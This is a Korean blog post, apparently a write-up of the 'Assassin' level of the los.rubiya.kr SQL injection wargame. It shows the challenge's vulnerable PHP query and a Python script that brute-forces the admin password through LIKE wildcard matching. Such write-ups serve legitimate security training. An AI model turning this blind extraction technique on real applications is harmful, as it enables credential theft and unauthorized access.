웹찢남

Assassin-writeup 본문

WEB_HACKING/los.rubiya.kr

Assassin-writeup

harry595 2019. 12. 27. 21:41


<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_assassin where pw like '{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("assassin"); 
  
highlight_file(__FILE__); 
?>

 

=과 다르게 like 구문은 해당 string에 문자를 포함하는지 여부또한 파악한다

예를 들어 id like '0%' 을 했을때 참 값이 나올 경우 id 에 0을 포함한다는 뜻이다

%0,%0%,0% 과 같이 0이 앞에 붙냐 뒤에붙냐 가운데 있냐 이렇게 볼수 있는데

우리는 0%를 사용해야한다 %0이 url로 들어갈 시 %20 이라하면 공백이 되어 버린다..

 

import re
import requests
import time

flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSION")
for i in range (1,20):
        for j in range(48,128):
                        r=requests.post("https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+flag+chr(j)+"%",cookies=session)
                        if 'Hello admin' in r.text:
                                flag=flag+str(chr(j))
                                print("finding pw: "+flag)
                                break
                        elif 'Hello guest' in r.text:
                                flag=flag+str(chr(j))
                                print("finding pw: "+flag)
                                break
print("pw "+flag)

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Zombie_assassin-writeup  (0) 2019.12.28
Succubus-writeup  (0) 2019.12.28
Giant-writeup  (0) 2019.12.27
Bugbear-writeup  (0) 2019.12.27
Darkknight-writeup  (0) 2019.12.27
Comments